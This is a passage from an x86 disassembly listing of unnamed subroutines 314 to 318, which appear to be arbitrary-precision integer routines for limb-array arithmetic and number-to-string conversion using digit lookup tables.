08060c5b  8d 04 85 0f 00 00 00  lea     0xf(,%eax,4),%eax   ;15 'xf x0 x0 x0' ""
08060c62  83 e0 f0          and     $0xfffffff0,%eax
08060c65  29 c4             sub     %eax,%esp
08060c67  89 65 e0          mov     %esp,0xffffffe0(%ebp)
08060c6a  83 ec 08          sub     $0x8,%esp
08060c6d  57                push    %edi
08060c6e  8d 5d d8          lea     0xffffffd8(%ebp),%ebx
08060c71  53                push    %ebx
08060c72  e8 29 17 00 00     call    080623a0 <Unknown0333>
08060c77  83 c4 10          add     $0x10,%esp
08060c7a  51                push    %ecx
08060c7b  53                push    %ebx
08060c7c  ff 75 0c          pushl   0xc(%ebp)
08060c7f  57                push    %edi
08060c80  e8 ff 20 00 00     call    08062d84 <Unknown0345>
08060c85  8b 45 0c          mov     0xc(%ebp),%eax
08060c88  83 c4 10          add     $0x10,%esp
08060c8b  33 70 04          xor     0x4(%eax),%esi
08060c8e  79 13             jns     08060ca3 <Unknown0314+0x73>
08060c90  8b 57 04          mov     0x4(%edi),%edx
08060c93  85 d2             test    %edx,%edx
08060c95  74 0c             je      08060ca3 <Unknown0314+0x73>
08060c97  50                push    %eax
08060c98  53                push    %ebx
08060c99  57                push    %edi
08060c9a  57                push    %edi
08060c9b  e8 80 f7 ff ff     call    08060420 <Unknown0305>
08060ca0  83 c4 10          add     $0x10,%esp
08060ca3  8d 65 f4          lea     0xfffffff4(%ebp),%esp
08060ca6  5b                pop     %ebx
08060ca7  5e                pop     %esi
08060ca8  5f                pop     %edi
08060ca9  5d                pop     %ebp
08060caa  c3                ret
08060cab  90                nop
```

```
;
; >--------------------<  Subroutine # 315 >--------------------<
;
08060cac <Unknown0315>:
08060cac  55                        push    %ebp
08060cad  89 e5                     mov     %esp,%ebp
08060caf  57                        push    %edi
08060cb0  56                        push    %esi
08060cb1  53                        push    %ebx
08060cb2  83 ec 0c                  sub     $0xc,%esp
08060cb5  8b 55 0c                  mov     0xc(%ebp),%edx
08060cb8  8b 5a 04                  mov     0x4(%edx),%ebx
08060cbb  85 db                     test    %ebx,%ebx
08060cbd  8b 7d 08                  mov     0x8(%ebp),%edi
08060cc0  8b 75 10                  mov     0x10(%ebp),%esi
08060cc3  89 d8                     mov     %ebx,%eax
08060cc5  79 02                     jns     08060cc9 <Unknown0315+0x1d>
08060cc7  f7 d8                     neg     %eax
08060cc9  51                        push    %ecx
08060cca  56                        push    %esi
08060ccb  50                        push    %eax
08060ccc  ff 72 08                  pushl   0x8(%edx)
08060ccf  e8 44 33 00 00            call    08064018 <Unknown0361>
08060cd4  89 c2                     mov     %eax,%edx
08060cd6  83 c4 10                  add     $0x10,%esp
08060cd9  85 d2                     test    %edx,%edx
08060cdb  74 08                     je      08060ce5 <Unknown0315+0x39>
08060cdd  85 db                     test    %ebx,%ebx
08060cdf  79 04                     jns     08060ce5 <Unknown0315+0x39>
08060ce1  29 d6                     sub     %edx,%esi
08060ce3  89 f2                     mov     %esi,%edx
08060ce5  8b 47 08                  mov     0x8(%edi),%eax
08060ce8  89 10                     mov     %edx,(%eax)
08060cea  31 c0                     xor     %eax,%eax
08060cec  85 d2                     test    %edx,%edx
08060cee  0f 95 c0                  setne   %al
08060cf1  89 47 04                  mov     %eax,0x4(%edi)
08060cf4  8d 65 f4                  lea     0xfffffff4(%ebp),%esp
08060cf7  5b                        pop     %ebx
08060cf8  5e                        pop     %esi
08060cf9  89 d0                     mov     %edx,%eax
08060cfb  5f                        pop     %edi
08060cfc  5d                        pop     %ebp
08060cfd  c3                        ret
08060cfe  89 f6                     mov     %esi,%esi


;
; >--------------------<  Subroutine # 316 >--------------------<
;
08060d00 <Unknown0316>:
08060d00  55                        push    %ebp
08060d01  89 e5                     mov     %esp,%ebp
08060d03  57                        push    %edi
08060d04  56                        push    %esi
08060d05  53                        push    %ebx
08060d06  83 ec 2c                  sub     $0x2c,%esp
08060d09  8b 75 0c                  mov     0xc(%ebp),%esi
08060d0c  8b 46 08                  mov     0x8(%esi),%eax
08060d0f  89 45 e0                  mov     %eax,0xffffffe0(%ebp)
08060d12  8b 7e 04                  mov     0x4(%esi),%edi
08060d15  85 ff                     test    %edi,%edi
08060d17  89 c2                     mov     %eax,%edx
08060d19  79 02                     jns     08060d1d <Unknown0316+0x1d>
08060d1b  f7 df                     neg     %edi
08060d1d  8b 45 10                  mov     0x10(%ebp),%eax
08060d20  8b 40 08                  mov     0x8(%eax),%eax
08060d23  89 45 dc                  mov     %eax,0xffffffdc(%ebp)
08060d26  89 c1                     mov     %eax,%ecx
08060d28  8b 45 10                  mov     0x10(%ebp),%eax
08060d2b  8b 58 04                  mov     0x4(%eax),%ebx
08060d2e  85 db                     test    %ebx,%ebx
08060d30  79 02                     jns     08060d34 <Unknown0316+0x34>
08060d32  f7 db                     neg     %ebx
08060d34  85 ff                     test    %edi,%edi
08060d36  75 48                     jne     08060d80 <Unknown0316+0x80>
08060d38  8b 55 08                  mov     0x8(%ebp),%edx
08060d3b  8b 4d 10                  mov     0x10(%ebp),%ecx
08060d3e  39 ca                     cmp     %ecx,%edx
08060d40  89 5a 04                  mov     %ebx,0x4(%edx)
08060d43  0f 84 29 03 00 00         je      08061072 <Unknown0316+0x372>  ;809 'x29 x3 x0 x0' ")"
08060d49  39 1a                     cmp     %ebx,(%edx)
```

```
08060d4b   7d 0d                    jge     08060d5a <Unknown0316+0x5a>
08060d4d   83 ec 08                 sub     $0x8,%esp
08060d50   53                       push    %ebx
08060d51   52                       push    %edx
08060d52   e8 f9 15 00 00           call    08062350 <Unknown0331>
08060d57   83 c4 10                 add     $0x10,%esp
08060d5a   31 d2                    xor     %edx,%edx
08060d5c   39 df                    cmp     %ebx,%edi
08060d5e   0f 8d 0e 03 00 00        jge     08061072 <Unknown0316+0x372>   ;782 'xe x3 x0 x0' ""
08060d64   8b 75 08                 mov     0x8(%ebp),%esi
08060d67   8b 4e 08                 mov     0x8(%esi),%ecx
08060d6a   89 f6                    mov     %esi,%esi
08060d6c   8b 75 dc                 mov     0xffffffdc(%ebp),%esi
08060d6f   8b 04 96                 mov     (%esi,%edx,4),%eax
08060d72   89 04 91                 mov     %eax,(%ecx,%edx,4)
08060d75   42                       inc     %edx
08060d76   39 da                    cmp     %ebx,%edx
08060d78   7c f2                    jl      08060d6c <Unknown0316+0x6c>
08060d7a   e9 f3 02 00 00           jmp     08061072 <Unknown0316+0x372>   ;755 'xf3 x2 x0 x0' ""
08060d7f   90                       nop
08060d80   85 db                    test    %ebx,%ebx
08060d82   75 44                    jne     08060dc8 <Unknown0316+0xc8>
08060d84   8b 45 08                 mov     0x8(%ebp),%eax
08060d87   39 f0                    cmp     %esi,%eax
08060d89   89 78 04                 mov     %edi,0x4(%eax)
08060d8c   0f 84 e0 02 00 00        je      08061072 <Unknown0316+0x372>   ;736 'xe0 x2 x0 x0' ""
08060d92   39 38                    cmp     %edi,(%eax)
08060d94   7d 0d                    jge     08060da3 <Unknown0316+0xa3>
08060d96   83 ec 08                 sub     $0x8,%esp
08060d99   57                       push    %edi
08060d9a   50                       push    %eax
08060d9b   e8 b0 15 00 00           call    08062350 <Unknown0331>
08060da0   83 c4 10                 add     $0x10,%esp
08060da3   31 d2                    xor     %edx,%edx
08060da5   39 fb                    cmp     %edi,%ebx
08060da7   0f 8d c5 02 00 00        jge     08061072 <Unknown0316+0x372>   ;709 'xc5 x2 x0 x0' ""
08060dad   8b 5d 08                 mov     0x8(%ebp),%ebx
08060db0   8b 4b 08                 mov     0x8(%ebx),%ecx
08060db3   90                       nop
08060db4   8b 75 e0                 mov     0xffffffe0(%ebp),%esi
08060db7   8b 04 96                 mov     (%esi,%edx,4),%eax
08060dba   89 04 91                 mov     %eax,(%ecx,%edx,4)
08060dbd   42                       inc     %edx
08060dbe   39 fa                    cmp     %edi,%edx
08060dc0   7c f2                    jl      08060db4 <Unknown0316+0xb4>
08060dc2   e9 ab 02 00 00           jmp     08061072 <Unknown0316+0x372>   ;683 'xab x2 x0 x0' ""
08060dc7   90                       nop
08060dc8   83 ff 01                 cmp     $0x1,%edi
08060dcb   75 27                    jne     08060df4 <Unknown0316+0xf4>
08060dcd   8b 45 08                 mov     0x8(%ebp),%eax
08060dd0   c7 40 04 01 00 00 00     movl    $0x1,0x4(%eax)   ;1 'x1 x0 x0 x0' ""
08060dd7   51                       push    %ecx
08060dd8   8b 55 e0                 mov     0xffffffe0(%ebp),%edx
08060ddb   ff 32                    pushl   (%edx)
08060ddd   53                       push    %ebx
08060dde   ff 75 dc                 pushl   0xffffffdc(%ebp)
08060de1   e8 a6 26 00 00           call    0806348c <Unknown0355>
08060de6   8b 4d 08                 mov     0x8(%ebp),%ecx
08060de9   8b 51 08                 mov     0x8(%ecx),%edx
08060dec   89 02                    mov     %eax,(%edx)
08060dee   e9 7f 02 00 00           jmp     08061072 <Unknown0316+0x372>   ;639 'x7f x2 x0 x0' ""
08060df3   90                       nop
08060df4   83 fb 01                 cmp     $0x1,%ebx
08060df7   75 23                    jne     08060e1c <Unknown0316+0x11c>
08060df9   8b 5d 08                 mov     0x8(%ebp),%ebx
08060dfc   c7 43 04 01 00 00 00     movl    $0x1,0x4(%ebx)   ;1 'x1 x0 x0 x0' ""
08060e03   52                       push    %edx
08060e04   8b 75 dc                 mov     0xffffffdc(%ebp),%esi
08060e07   ff 36                    pushl   (%esi)
08060e09   57                       push    %edi
08060e0a   ff 75 e0                 pushl   0xffffffe0(%ebp)
08060e0d   e8 7a 26 00 00           call    0806348c <Unknown0355>
08060e12   8b 53 08                 mov     0x8(%ebx),%edx
08060e15   89 02                    mov     %eax,(%edx)
08060e17   e9 56 02 00 00           jmp     08061072 <Unknown0316+0x372>   ;598 'x56 x2 x0 x0' "V"
08060e1c   8b 45 e0                 mov     0xffffffe0(%ebp),%eax
08060e1f   8b 00                    mov     (%eax),%eax
08060e21   85 c0                    test    %eax,%eax
08060e23   75 10                    jne     08060e35 <Unknown0316+0x135>
08060e25   8d 76 00                 lea     0x0(%esi),%esi
08060e28   83 45 e0 04              addl    $0x4,0xffffffe0(%ebp)
08060e2c   8b 75 e0                 mov     0xffffffe0(%ebp),%esi
08060e2f   8b 36                    mov     (%esi),%esi
08060e31   85 f6                    test    %esi,%esi
```

```
08060e33   74 f3              je      08060e28 <Unknown0316+0x128>
08060e35   8b 45 e0           mov     0xffffffe0(%ebp),%eax
08060e38   89 45 d8           mov     %eax,0xffffffd8(%ebp)
08060e3b   29 55 d8           sub     %edx,0xffffffd8(%ebp)
08060e3e   c1 7d d8 02        sarl    $0x2,0xffffffd8(%ebp)
08060e42   2b 7d d8           sub     0xffffffd8(%ebp),%edi
08060e45   8d 34 bd 00 00 00 00  lea   0x0(,%edi,4),%esi   ;0 'x0 x0 x0 x0' ""
08060e4c   0f bc 10           bsf     (%eax),%edx
08060e4f   89 45 e4           mov     %eax,0xffffffe4(%ebp)
08060e52   8d 46 0f           lea     0xf(%esi),%eax
08060e55   83 e0 f0           and     $0xfffffff0,%eax
08060e58   29 c4              sub     %eax,%esp
08060e5a   85 d2              test    %edx,%edx
08060e5c   89 55 ec           mov     %edx,0xffffffec(%ebp)
08060e5f   89 65 e0           mov     %esp,0xffffffe0(%ebp)
08060e62   74 28              je      08060e8c <Unknown0316+0x18c>
08060e64   52                 push    %edx
08060e65   57                 push    %edi
08060e66   ff 75 e4           pushl   0xffffffe4(%ebp)
08060e69   ff 75 e0           pushl   0xffffffe0(%ebp)
08060e6c   e8 97 3c 00 00     call    08064b08 <Unknown0369>
08060e71   8b 4d e0           mov     0xffffffe0(%ebp),%ecx
08060e74   8b 54 0e fc        mov     0xfffffffc(%esi,%ecx,1),%edx
08060e78   31 c0              xor     %eax,%eax
08060e7a   83 c4 10           add     $0x10,%esp
08060e7d   85 d2              test    %edx,%edx
08060e7f   0f 94 c0           sete    %al
08060e82   8b 75 10           mov     0x10(%ebp),%esi
08060e85   29 c7              sub     %eax,%edi
08060e87   8b 4e 08           mov     0x8(%esi),%ecx
08060e8a   eb 1f              jmp     08060eab <Unknown0316+0x1ab>
08060e8c   31 d2              xor     %edx,%edx
08060e8e   39 7d ec           cmp     %edi,0xffffffec(%ebp)
08060e91   7d 18              jge     08060eab <Unknown0316+0x1ab>
08060e93   90                 nop
08060e94   8b 4d e4           mov     0xffffffe4(%ebp),%ecx
08060e97   8b 04 91           mov     (%ecx,%edx,4),%eax
08060e9a   8b 75 e0           mov     0xffffffe0(%ebp),%esi
08060e9d   89 04 96           mov     %eax,(%esi,%edx,4)
08060ea0   42                 inc     %edx
08060ea1   39 fa              cmp     %edi,%edx
08060ea3   7c ef              jl      08060e94 <Unknown0316+0x194>
08060ea5   8b 45 10           mov     0x10(%ebp),%eax
08060ea8   8b 48 08           mov     0x8(%eax),%ecx
08060eab   8b 55 dc           mov     0xffffffdc(%ebp),%edx
08060eae   8b 02              mov     (%edx),%eax
08060eb0   85 c0              test    %eax,%eax
08060eb2   75 0d              jne     08060ec1 <Unknown0316+0x1c1>
08060eb4   83 45 dc 04        addl    $0x4,0xffffffdc(%ebp)
08060eb8   8b 75 dc           mov     0xffffffdc(%ebp),%esi
08060ebb   8b 36              mov     (%esi),%esi
08060ebd   85 f6              test    %esi,%esi
08060ebf   74 f3              je      08060eb4 <Unknown0316+0x1b4>
08060ec1   8b 75 dc           mov     0xffffffdc(%ebp),%esi
08060ec4   29 ce              sub     %ecx,%esi
08060ec6   c1 fe 02           sar     $0x2,%esi
08060ec9   29 f3              sub     %esi,%ebx
08060ecb   8d 0c 9d 00 00 00 00  lea   0x0(,%ebx,4),%ecx   ;0 'x0 x0 x0 x0' ""
08060ed2   8b 45 dc           mov     0xffffffdc(%ebp),%eax
08060ed5   0f bc 00           bsf     (%eax),%eax
08060ed8   89 45 e8           mov     %eax,0xffffffe8(%ebp)
08060edb   89 c8              mov     %ecx,%eax
08060edd   83 c0 0f           add     $0xf,%eax
08060ee0   83 e0 f0           and     $0xfffffff0,%eax
08060ee3   89 4d d4           mov     %ecx,0xffffffd4(%ebp)
08060ee6   8b 4d e8           mov     0xffffffe8(%ebp),%ecx
08060ee9   8b 55 dc           mov     0xffffffdc(%ebp),%edx
08060eec   29 c4              sub     %eax,%esp
08060eee   85 c9              test    %ecx,%ecx
08060ef0   89 55 e4           mov     %edx,0xffffffe4(%ebp)
08060ef3   89 65 dc           mov     %esp,0xffffffdc(%ebp)
08060ef6   74 28              je      08060f20 <Unknown0316+0x220>
08060ef8   ff 75 e8           pushl   0xffffffe8(%ebp)
08060efb   53                 push    %ebx
08060efc   52                 push    %edx
08060efd   ff 75 dc           pushl   0xffffffdc(%ebp)
08060f00   e8 03 3c 00 00     call    08064b08 <Unknown0369>
08060f05   8b 55 dc           mov     0xffffffdc(%ebp),%edx
08060f08   8b 4d d4           mov     0xffffffd4(%ebp),%ecx
08060f0b   8b 54 11 fc        mov     0xfffffffc(%ecx,%edx,1),%edx
08060f0f   31 c0              xor     %eax,%eax
08060f11   83 c4 10           add     $0x10,%esp
08060f14   85 d2              test    %edx,%edx
08060f16   0f 94 c0           sete    %al
```

```
08060f19   29 c3              sub     %eax,%ebx
08060f1b   eb 1c              jmp     08060f39 <Unknown0316+0x239>
08060f1d   8d 76 00           lea     0x0(%esi),%esi
08060f20   31 d2              xor     %edx,%edx
08060f22   39 5d e8           cmp     %ebx,0xffffffe8(%ebp)
08060f25   7d 12              jge     08060f39 <Unknown0316+0x239>
08060f27   90                 nop
08060f28   8b 4d e4           mov     0xffffffe4(%ebp),%ecx
08060f2b   8b 04 91           mov     (%ecx,%edx,4),%eax
08060f2e   8b 4d dc           mov     0xffffffdc(%ebp),%ecx
08060f31   89 04 91           mov     %eax,(%ecx,%edx,4)
08060f34   42                 inc     %edx
08060f35   39 da              cmp     %ebx,%edx
08060f37   7c ef              jl      08060f28 <Unknown0316+0x228>
08060f39   39 75 d8           cmp     %esi,0xffffffd8(%ebp)
08060f3c   7e 06              jle     08060f44 <Unknown0316+0x244>
08060f3e   8b 45 e8           mov     0xffffffe8(%ebp),%eax
08060f41   eb 21              jmp     08060f64 <Unknown0316+0x264>
08060f43   90                 nop
08060f44   39 75 d8           cmp     %esi,0xffffffd8(%ebp)
08060f47   7d 0b              jge     08060f54 <Unknown0316+0x254>
08060f49   8b 55 ec           mov     0xffffffec(%ebp),%edx
08060f4c   8b 75 d8           mov     0xffffffd8(%ebp),%esi
08060f4f   89 55 f0           mov     %edx,0xfffffff0(%ebp)
08060f52   eb 13              jmp     08060f67 <Unknown0316+0x267>
08060f54   8b 4d e8           mov     0xffffffe8(%ebp),%ecx
08060f57   8b 45 ec           mov     0xffffffec(%ebp),%eax
08060f5a   39 c1              cmp     %eax,%ecx
08060f5c   8b 75 d8           mov     0xffffffd8(%ebp),%esi
08060f5f   89 4d f0           mov     %ecx,0xfffffff0(%ebp)
08060f62   76 03              jbe     08060f67 <Unknown0316+0x267>
08060f64   89 45 f0           mov     %eax,0xfffffff0(%ebp)
08060f67   39 df              cmp     %ebx,%edi
08060f69   7c 14              jl      08060f7f <Unknown0316+0x27f>
08060f6b   39 df              cmp     %ebx,%edi
08060f6d   75 1d              jne     08060f8c <Unknown0316+0x28c>
08060f6f   8b 55 e0           mov     0xffffffe0(%ebp),%edx
08060f72   8b 44 9a fc        mov     0xfffffffc(%edx,%ebx,4),%eax
08060f76   8b 4d dc           mov     0xffffffdc(%ebp),%ecx
08060f79   3b 44 99 fc        cmp     0xfffffffc(%ecx,%ebx,4),%eax
08060f7d   73 0d              jae     08060f8c <Unknown0316+0x28c>
08060f7f   83 ec 0c           sub     $0xc,%esp
08060f82   53                 push    %ebx
08060f83   ff 75 dc           pushl   0xffffffdc(%ebp)
08060f86   57                 push    %edi
08060f87   ff 75 e0           pushl   0xffffffe0(%ebp)
08060f8a   eb 0b              jmp     08060f97 <Unknown0316+0x297>
08060f8c   83 ec 0c           sub     $0xc,%esp
08060f8f   57                 push    %edi
08060f90   ff 75 e0           pushl   0xffffffe0(%ebp)
08060f93   53                 push    %ebx
08060f94   ff 75 dc           pushl   0xffffffdc(%ebp)
08060f97   ff 75 dc           pushl   0xffffffdc(%ebp)
08060f9a   e8 59 25 00 00     call    080634f8 <Unknown0356>
08060f9f   83 c4 20           add     $0x20,%esp
08060fa2   89 c3              mov     %eax,%ebx
08060fa4   8b 45 f0           mov     0xfffffff0(%ebp),%eax
08060fa7   85 c0              test    %eax,%eax
08060fa9   8d 3c 1e           lea     (%esi,%ebx,1),%edi
08060fac   74 6e              je      0806101c <Unknown0316+0x31c>
08060fae   8b 55 dc           mov     0xffffffdc(%ebp),%edx
08060fb1   b9 20 00 00 00     mov     $0x20,%ecx        ;32 'x20 x0 x0 x0' " "
08060fb6   2b 4d f0           sub     0xfffffff0(%ebp),%ecx
08060fb9   8b 44 9a fc        mov     0xfffffffc(%edx,%ebx,4),%eax
08060fbd   d3 e8              shr     %cl,%eax
08060fbf   31 d2              xor     %edx,%edx
08060fc1   85 c0              test    %eax,%eax
08060fc3   0f 95 c2           setne   %dl
08060fc6   01 d7              add     %edx,%edi
08060fc8   8b 4d 08           mov     0x8(%ebp),%ecx
08060fcb   39 39              cmp     %edi,(%ecx)
08060fcd   7d 0d              jge     08060fdc <Unknown0316+0x2dc>
08060fcf   83 ec 08           sub     $0x8,%esp
08060fd2   57                 push    %edi
08060fd3   51                 push    %ecx
08060fd4   e8 77 13 00 00     call    08062350 <Unknown0331>
08060fd9   83 c4 10           add     $0x10,%esp
08060fdc   31 c0              xor     %eax,%eax
08060fde   39 f0              cmp     %esi,%eax
08060fe0   7d 12              jge     08060ff4 <Unknown0316+0x2f4>
08060fe2   8b 4d 08           mov     0x8(%ebp),%ecx
08060fe5   8b 51 08           mov     0x8(%ecx),%edx
08060fe8   c7 04 82 00 00 00 00   movl   $0x0,(%edx,%eax,4)   ;0 'x0 x0 x0 x0' ""
08060fef   40                 inc     %eax
```

```
08060ff0  39 f0              cmp     %esi,%eax
08060ff2  7c f4              jl      08060fe8 <Unknown0316+0x2e8>
08060ff4  8b 55 08           mov     0x8(%ebp),%edx
08060ff7  8b 42 08           mov     0x8(%edx),%eax
08060ffa  ff 75 f0           pushl   0xfffffff0(%ebp)
08060ffd  53                 push    %ebx
08060ffe  8d 34 b0           lea     (%eax,%esi,4),%esi
08061001  ff 75 dc           pushl   0xffffffdc(%ebp)
08061004  56                 push    %esi
08061005  89 75 e4           mov     %esi,0xffffffe4(%ebp)
08061008  e8 bb 2e 00 00     call    08063ec8 <Unknown0360>
0806100d  83 c4 10           add     $0x10,%esp
08061010  85 c0              test    %eax,%eax
08061012  74 58              je      0806106c <Unknown0316+0x36c>
08061014  89 04 9e           mov     %eax,(%esi,%ebx,4)
08061017  eb 53              jmp     0806106c <Unknown0316+0x36c>
08061019  8d 76 00           lea     0x0(%esi),%esi
0806101c  8b 4d 08           mov     0x8(%ebp),%ecx
0806101f  39 39              cmp     %edi,(%ecx)
08061021  7d 0d              jge     08061030 <Unknown0316+0x330>
08061023  83 ec 08           sub     $0x8,%esp
08061026  57                 push    %edi
08061027  51                 push    %ecx
08061028  e8 23 13 00 00     call    08062350 <Unknown0331>
0806102d  83 c4 10           add     $0x10,%esp
08061030  31 c0              xor     %eax,%eax
08061032  39 f0              cmp     %esi,%eax
08061034  7d 12              jge     08061048 <Unknown0316+0x348>
08061036  8b 4d 08           mov     0x8(%ebp),%ecx
08061039  8b 51 08           mov     0x8(%ecx),%edx
0806103c  c7 04 82 00 00 00 00  movl  $0x0,(%edx,%eax,4)   ;0 'x0 x0 x0 x0' ""
08061043  40                 inc     %eax
08061044  39 f0              cmp     %esi,%eax
08061046  7c f4              jl      0806103c <Unknown0316+0x33c>
08061048  31 c9              xor     %ecx,%ecx
0806104a  39 d9              cmp     %ebx,%ecx
0806104c  7d 1e              jge     0806106c <Unknown0316+0x36c>
0806104e  8d 14 b5 00 00 00 00  lea   0x0(,%esi,4),%edx   ;0 'x0 x0 x0 x0' ""
08061055  8b 75 08           mov     0x8(%ebp),%esi
08061058  03 56 08           add     0x8(%esi),%edx
0806105b  90                 nop
0806105c  8b 75 dc           mov     0xffffffdc(%ebp),%esi
0806105f  8b 04 8e           mov     (%esi,%ecx,4),%eax
08061062  41                 inc     %ecx
08061063  89 02              mov     %eax,(%edx)
08061065  83 c2 04           add     $0x4,%edx
08061068  39 d9              cmp     %ebx,%ecx
0806106a  7c f0              jl      0806105c <Unknown0316+0x35c>
0806106c  8b 45 08           mov     0x8(%ebp),%eax
0806106f  89 78 04           mov     %edi,0x4(%eax)
08061072  8d 65 f4           lea     0xfffffff4(%ebp),%esp
08061075  5b                 pop     %ebx
08061076  5e                 pop     %esi
08061077  5f                 pop     %edi
08061078  5d                 pop     %ebp
08061079  c3                 ret
0806107a  89 f6              mov     %esi,%esi


   ;
   ; >--------------------<  Subroutine # 317 >--------------------<
   ;
0806107c <Unknown0317>:
0806107c  55                 push    %ebp
0806107d  89 e5              mov     %esp,%ebp
0806107f  57                 push    %edi
08061080  56                 push    %esi
08061081  53                 push    %ebx
08061082  83 ec 1c           sub     $0x1c,%esp
08061085  8b 5d 0c           mov     0xc(%ebp),%ebx
08061088  8b 7d 10           mov     0x10(%ebp),%edi
0806108b  85 db              test    %ebx,%ebx
0806108d  8b 77 04           mov     0x4(%edi),%esi
08061090  78 1a              js      080610ac <Unknown0317+0x30>
08061092  8b 4d 0c           mov     0xc(%ebp),%ecx
08061095  85 c9              test    %ecx,%ecx
08061097  75 07              jne     080610a0 <Unknown0317+0x24>
08061099  c7 45 0c 0a 00 00 00  movl  $0xa,0xc(%ebp)   ;10 'xa x0 x0 x0' ""
080610a0  c7 45 d8 c0 56 07 08  movl  $0x80756c0,0xffffffd8(%ebp)  ;[in .rodata] 858927408 'x30 x31 x32
                                                                      x33'
                                                                      "0123456789abcdefghijklmnopqrstuvwxyz"

080610a7  eb 0d              jmp     080610b6 <Unknown0317+0x3a>
080610a9  8d 76 00           lea     0x0(%esi),%esi
080610ac  f7 5d 0c           negl    0xc(%ebp)
```

```
080610af  c7 45 d8 00 57 07 08   movl     $0x8075700,0xffffffd8(%ebp)    ;[in .rodata] 858927408 'x30 x31 x32
                                                                           x33'
                                                                           "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
080610b6  85 f6                  test     %esi,%esi
080610b8  89 f2                  mov      %esi,%edx
080610ba  79 02                  jns      080610be <Unknown0317+0x42>
080610bc  f7 da                  neg      %edx
080610be  8b 45 0c               mov      0xc(%ebp),%eax
080610c1  c1 e2 05               shl      $0x5,%edx
080610c4  c1 e0 04               shl      $0x4,%eax
080610c7  d9 80 e4 57 07 08      flds     0x80757e4(%eax)    ;[in .rodata] 0 'x0 x0 x0 x0' ""
080610cd  52                     push     %edx
080610ce  da 0c 24               fimull   (%esp,1)
080610d1  d9 7d ec               fnstcw   0xffffffec(%ebp)
080610d4  8b 4d ec               mov      0xffffffec(%ebp),%ecx
080610d7  c6 45 ed 0c            movb     $0xc,0xffffffed(%ebp)
080610db  d9 6d ec               fldcw    0xffffffec(%ebp)
080610de  89 4d ec               mov      %ecx,0xffffffec(%ebp)
080610e1  df 7d e0               fistpll  0xffffffe0(%ebp)
080610e4  d9 6d ec               fldcw    0xffffffec(%ebp)
080610e7  5a                     pop      %edx
080610e8  8b 55 08               mov      0x8(%ebp),%edx
080610eb  8b 45 e0               mov      0xffffffe0(%ebp),%eax
080610ee  85 d2                  test     %edx,%edx
080610f0  8d 48 03               lea      0x3(%eax),%ecx
080610f3  75 17                  jne      0806110c <Unknown0317+0x90>
080610f5  83 ec 0c               sub      $0xc,%esp
080610f8  51                     push     %ecx
080610f9  ff 15 28 93 07 08      call     *0x8079328    ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
080610ff  89 c3                  mov      %eax,%ebx
08061101  89 45 08               mov      %eax,0x8(%ebp)
08061104  43                     inc      %ebx
08061105  83 c4 10               add      $0x10,%esp
08061108  eb 0c                  jmp      08061116 <Unknown0317+0x9a>
0806110a  89 f6                  mov      %esi,%esi
0806110c  83 c0 12               add      $0x12,%eax
0806110f  83 e0 f0               and      $0xfffffff0,%eax
08061112  29 c4                  sub      %eax,%esp
08061114  89 e3                  mov      %esp,%ebx
08061116  8b 45 08               mov      0x8(%ebp),%eax
08061119  85 f6                  test     %esi,%esi
0806111b  89 45 dc               mov      %eax,0xffffffdc(%ebp)
0806111e  75 0c                  jne      0806112c <Unknown0317+0xb0>
08061120  c6 00 30               movb     $0x30,(%eax)
08061123  8b 4d dc               mov      0xffffffdc(%ebp),%ecx
08061126  c6 41 01 00            movb     $0x0,0x1(%ecx)
0806112a  eb 74                  jmp      080611a0 <Unknown0317+0x124>
0806112c  85 f6                  test     %esi,%esi
0806112e  79 0c                  jns      0806113c <Unknown0317+0xc0>
08061130  8b 45 dc               mov      0xffffffdc(%ebp),%eax
08061133  c6 00 2d               movb     $0x2d,(%eax)
08061136  40                     inc      %eax
08061137  89 45 08               mov      %eax,0x8(%ebp)
0806113a  f7 de                  neg      %esi
0806113c  8d 04 b5 13 00 00 00   lea      0x13(,%esi,4),%eax    ;19 'x13 x0 x0 x0' ""
08061143  83 e0 f0               and      $0xfffffff0,%eax
08061146  29 c4                  sub      %eax,%esp
08061148  89 e1                  mov      %esp,%ecx
0806114a  31 d2                  xor      %edx,%edx
0806114c  39 f2                  cmp      %esi,%edx
0806114e  7d 0f                  jge      0806115f <Unknown0317+0xe3>
08061150  8b 7f 08               mov      0x8(%edi),%edi
08061153  90                     nop
08061154  8b 04 97               mov      (%edi,%edx,4),%eax
08061157  89 04 91               mov      %eax,(%ecx,%edx,4)
0806115a  42                     inc      %edx
0806115b  39 f2                  cmp      %esi,%edx
0806115d  7c f5                  jl       08061154 <Unknown0317+0xd8>
0806115f  56                     push     %esi
08061160  51                     push     %ecx
08061161  ff 75 0c               pushl    0xc(%ebp)
08061164  53                     push     %ebx
08061165  e8 7a 2b 00 00         call     08063ce4 <Unknown0358>
0806116a  83 c4 10               add      $0x10,%esp
0806116d  80 3b 00               cmpb     $0x0,(%ebx)
08061170  89 c1                  mov      %eax,%ecx
08061172  75 07                  jne      0806117b <Unknown0317+0xff>
08061174  43                     inc      %ebx
08061175  49                     dec      %ecx
08061176  80 3b 00               cmpb     $0x0,(%ebx)
08061179  74 f9                  je       08061174 <Unknown0317+0xf8>
0806117b  31 d2                  xor      %edx,%edx
0806117d  39 ca                  cmp      %ecx,%edx
0806117f  73 18                  jae      08061199 <Unknown0317+0x11d>
```

```
08061181  8d 76 00              lea      0x0(%esi),%esi
08061184  0f b6 04 1a           movzbl   (%edx,%ebx,1),%eax
08061188  8b 75 d8              mov      0xffffffd8(%ebp),%esi
0806118b  8a 04 30              mov      (%eax,%esi,1),%al
0806118e  8b 75 08              mov      0x8(%ebp),%esi
08061191  88 04 32              mov      %al,(%edx,%esi,1)
08061194  42                    inc      %edx
08061195  39 ca                 cmp      %ecx,%edx
08061197  72 eb                 jb       08061184 <Unknown0317+0x108>
08061199  8b 45 08              mov      0x8(%ebp),%eax
0806119c  c6 04 01 00           movb     $0x0,(%ecx,%eax,1)
080611a0  8b 45 dc              mov      0xffffffdc(%ebp),%eax
080611a3  8d 65 f4              lea      0xfffffff4(%ebp),%esp
080611a6  5b                    pop      %ebx
080611a7  5e                    pop      %esi
080611a8  5f                    pop      %edi
080611a9  5d                    pop      %ebp
080611aa  c3                    ret
080611ab  90                    nop


  ;
  ; >--------------------<  Subroutine # 318 >--------------------<
  ;
080611ac <Unknown0318>:
080611ac  55                    push     %ebp
080611ad  89 e5                 mov      %esp,%ebp
080611af  8b 45 08              mov      0x8(%ebp),%eax
080611b2  8b 50 04              mov      0x4(%eax),%edx
080611b5  85 d2                 test     %edx,%edx
